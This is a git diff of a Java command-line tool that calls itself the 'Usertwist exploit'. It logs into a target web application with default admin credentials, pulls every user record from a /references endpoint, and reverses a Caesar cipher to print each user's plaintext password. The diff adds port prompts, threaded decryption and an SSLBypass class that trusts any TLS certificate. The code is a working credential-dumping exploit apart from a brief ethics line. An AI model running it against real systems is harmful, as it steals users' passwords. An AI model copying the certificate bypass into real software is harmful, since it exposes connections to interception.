diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml
index 869c305..ec2d9bf 100644
--- a/.idea/inspectionProfiles/Project_Default.xml
+++ b/.idea/inspectionProfiles/Project_Default.xml
@@ -2,7 +2,7 @@
-
+
\ No newline at end of file
diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java
index fa5c910..6c74f54 100644
--- a/src/fr/motysten/usertwist/exploit/Main.java
+++ b/src/fr/motysten/usertwist/exploit/Main.java
@@ -1,26 +1,39 @@
package fr.motysten.usertwist.exploit;
-import fr.motysten.usertwist.exploit.tools.Cesar;
+import fr.motysten.usertwist.exploit.tools.Parser;
+import fr.motysten.usertwist.exploit.tools.Request;
import org.json.JSONArray;
import org.json.JSONObject;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
-import java.net.URI;
-import java.net.http.HttpClient;
-import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
+import java.security.KeyManagementException;
+import java.security.NoSuchAlgorithmException;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
public class Main {
public static String link = "https://poc.athelas.fr";
public static String username = "admin";
public static String password = "AdminSecret1C";
+ public static String port = "443";
+ public static int rotation = 4;
+ public static boolean insecure = false;
+ public static boolean asynchronous = true;
- public static void main(String[] args) throws IOException, InterruptedException {
+ public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
+ if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
+ asynchronous = false;
+ }
+
System.out.println("Usertwist exploit by Motysten");
System.out.println("Please don't use for unethical purpose !\n");
String readLine;
@@ -29,6 +42,10 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {link = readLine;}
+ System.out.println("Please enter the port of the remote web server (leave empty to use default) :");
+ readLine = reader.readLine();
+ if (!readLine.isEmpty()) {port = readLine;}
+
System.out.println("Please enter the used username (leave empty to use default) :");
readLine = reader.readLine();
if (!readLine.isEmpty()) {username = readLine;}
@@ -37,7 +54,9 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {password = readLine;}
- HttpClient client = HttpClient.newHttpClient();
+ System.out.println("Please enter the cesar offset (leave empty to use default) :");
+ readLine = reader.readLine();
+ if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
JSONObject requestJSON = new JSONObject();
requestJSON.put("username", username);
@@ -45,17 +64,52 @@ public class Main {
System.out.println("Gathering Bearer token...");
- HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login"))
- .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
- .build();
+ HttpResponse response = null;
- HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString());
+ boolean tokenFound = false;
+ while (!tokenFound) {
+ try {
+ response = Request.get(link, port, "/login", requestJSON, null, insecure);
+ if (response.statusCode() == 308) {
+ System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
+ if (reader.readLine().equalsIgnoreCase("n")) {
+ System.err.println("Operation aborted ! Security failure.");
+ } else {
+ link = link.replaceFirst("http", "https");
+ port = "443";
+ }
+ } else {
+ tokenFound = true;
+ }
+ } catch (SSLHandshakeException e) {
+ System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network.");
+ System.err.println("Would you like to continue anyway ? [y/N]");
+ if (!reader.readLine().equalsIgnoreCase("y")) {
+ System.err.println("Operation aborted ! Security failure.");
+ System.exit(1);
+ } else {
+ insecure = true;
+ }
+ } catch (SSLException e) {
+ if (e.getMessage().contains("plaintext connection?")) {
+ System.err.println("Looks like you're trying to send an HTTPS request on HTTP port. Would you like to switch on port 443 ? [Y/n]");
+ if (reader.readLine().equalsIgnoreCase("n")) {
+ System.err.println("Operation aborted !");
+ System.exit(1);
+ } else {
+ port = "443";
+ }
+ }
+ }
+ }
if (response.statusCode() == 401) {
- System.err.println("Invalid credentials ! Pleas try again (defaults credentials could help)");
+ System.err.println("Invalid credentials ! Please try again (defaults credentials could help)");
System.exit(1);
}
+ System.out.println(response.statusCode());
+
JSONObject responseObject = new JSONObject(response.body());
String token = responseObject.optString("token");
@@ -67,24 +121,24 @@ public class Main {
System.out.println("\nScanning for existing users...");
- request = HttpRequest.newBuilder(URI.create(link + "/references"))
- .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
- .setHeader("Authorization", "Bearer " + token)
- .build();
+ Map headers = new HashMap<>();
+ headers.put("Authorization", "Bearer " + token);
- response = client.send(request, HttpResponse.BodyHandlers.ofString());
+ response = Request.get(link, port, "/references", requestJSON, headers, insecure);
JSONArray usersArray = new JSONArray(response.body());
System.out.println(usersArray.length() + " users found !");
System.out.println("\nDecrypting passwords...\n");
- for (int i = 0; i < usersArray.length(); i++) {
- JSONObject user = usersArray.getJSONObject(i);
- String login = user.getString("username");
- String password = Cesar.cesarRotate(user.getString("data"), -4);
-
- System.out.println((i + 1) + ". " + login + " => " + password);
+ float startTime = System.nanoTime();
+ if (asynchronous) {
+ Parser.asyncGetPass(usersArray, rotation);
+ } else {
+ Parser.getPass(usersArray, rotation);
}
+ float elapsedTime = (System.nanoTime() - startTime) / 1000000;
+ System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
+
}
}
diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java
index 8b35445..e11ccff 100644
--- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java
+++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java
@@ -1,34 +1,33 @@
package fr.motysten.usertwist.exploit.tools;
+import java.util.stream.Collectors;
+
public class Cesar {
- public static String cesarRotate(String input, int offset) {
+ public static String rotate(String input, int offset) {
+ char normalizeKey = (char) (offset % 26);
- String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
- if (offset < 0) {
- LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString();
- offset = -offset;
- }
- String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
-
- StringBuilder output = new StringBuilder();
-
-
- for (int i = 0; i < input.length(); i++) {
- char newChar = input.charAt(i);
- if (!Character.isDigit(input.charAt(i))) {
- int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
- int newPos = (pos + offset) % 26;
- if (Character.isUpperCase(input.charAt(i))) {
- newChar = UPPER_ALPHABET.charAt(newPos);
- } else {
- newChar = LOWER_ALPHABET.charAt(newPos);
- }
- }
- output.append(newChar);
- }
-
- return output.toString();
+ return input.chars()
+ .mapToObj(c -> (char) c)
+ .map(c -> {
+ if (Character.isLetter(c)) {
+ char base;
+ if (Character.isUpperCase(c)) {
+ base = 'A';
+ } else {
+ base = 'a';
+ }
+ if (offset < 0) {
+ return (char) (base + (c - base + normalizeKey) % 26);
+ } else {
+ return (char) (base + (c - base - normalizeKey + 26) % 26);
+ }
+ } else {
+ return c;
+ }
+ })
+ .map(String::valueOf)
+ .collect(Collectors.joining());
}
}
diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java
new file mode 100644
index 0000000..2ce115f
--- /dev/null
+++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java
@@ -0,0 +1,33 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+public class Parser {
+
+ public static void getPass(JSONArray usersArray, int rotation) {
+ for (int i = 0; i < usersArray.length(); i++) {
+ JSONObject user = usersArray.getJSONObject(i);
+ String login = user.getString("username");
+ String password = Cesar.rotate(user.getString("data"), rotation);
+
+ System.out.println((i + 1) + ". " + login + " => " + password);
+ }
+ }
+
+ public static void asyncGetPass(JSONArray usersArray, int rotation) {
+
+ for (int i = 0; i < usersArray.length(); i++) {
+
+ int finalI = i;
+ new Thread(() -> {
+ JSONObject user = usersArray.getJSONObject(finalI);
+ String login = user.getString("username");
+ String password = Cesar.rotate(user.getString("data"), rotation);
+
+ System.out.println((finalI + 1) + ". " + login + " => " + password);
+ }).start();
+ }
+ }
+
+}
diff --git a/src/fr/motysten/usertwist/exploit/tools/Request.java b/src/fr/motysten/usertwist/exploit/tools/Request.java
new file mode 100644
index 0000000..f720cda
--- /dev/null
+++ b/src/fr/motysten/usertwist/exploit/tools/Request.java
@@ -0,0 +1,42 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import org.json.JSONObject;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import java.io.IOException;
+import java.net.URI;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.security.KeyManagementException;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+import java.util.Map;
+
+public class Request {
+
+ public static HttpResponse get(String link, String port, String endpoint,JSONObject params, Map headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
+ HttpClient client = HttpClient.newHttpClient();
+
+ if (insecure) {
+ SSLContext customContext = SSLContext.getInstance("TLS");
+ customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
+
+ client = HttpClient.newBuilder().sslContext(customContext).build();
+ }
+
+ HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
+ if (headers != null) {
+ for (Map.Entry header : headers.entrySet()) {
+ builder.setHeader(header.getKey(), header.getValue());
+ }
+ }
+
+ builder.POST(HttpRequest.BodyPublishers.ofString(params.toString()));
+ HttpRequest request = builder.build();
+
+ return client.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+
+}
diff --git a/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
new file mode 100644
index 0000000..94fb2c9
--- /dev/null
+++ b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
@@ -0,0 +1,43 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.X509ExtendedTrustManager;
+import java.net.Socket;
+import java.security.cert.X509Certificate;
+
+public class SSLBypass extends X509ExtendedTrustManager {
+ @Override
+ public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
+
+ }
+
+ @Override
+ public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
+
+ }
+
+ @Override
+ public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
+
+ }
+
+ @Override
+ public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
+
+ }
+
+ @Override
+ public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
+
+ }
+
+ @Override
+ public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
+
+ }
+
+ @Override
+ public X509Certificate[] getAcceptedIssuers() {
+ return new X509Certificate[0];
+ }
+}